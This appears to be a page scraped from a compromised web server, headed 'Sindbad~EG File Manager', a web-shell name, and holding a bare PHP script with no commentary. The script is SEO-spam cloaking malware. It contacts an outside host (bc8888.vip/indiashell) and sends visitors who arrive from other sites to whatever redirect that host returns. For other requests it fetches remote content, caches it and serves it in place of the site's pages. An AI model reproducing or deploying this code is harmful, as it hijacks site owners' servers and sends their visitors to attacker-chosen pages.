Sindbad~EG File Manager

<?php
$webpath = 'https://bc8888.vip/indiashell';
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (!empty($referer) && strpos($referer, $_SERVER['HTTP_HOST']) === false) {
    $url = $webpath . '/db.php?do=1';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);
    if (trim($response) !== '') {
        header("Location: " . trim($response), true, 302);
        exit();
    }
}

$homeurl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$phpself = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$scriptname = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];

$cacheDir = 'cache';
if (!is_dir($cacheDir)) mkdir($cacheDir, 0755, true);
$cacheFile = $cacheDir . '/' . md5($homeurl) . '.html';
if (file_exists($cacheFile)) {
    echo file_get_contents($cacheFile);
    exit;
}

$url = $webpath . '/db.php?scriptname=' . urlencode($scriptname) . '&homeurl=' . urlencode($homeurl);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

file_put_contents($cacheFile, $response);
echo trim($response);
?>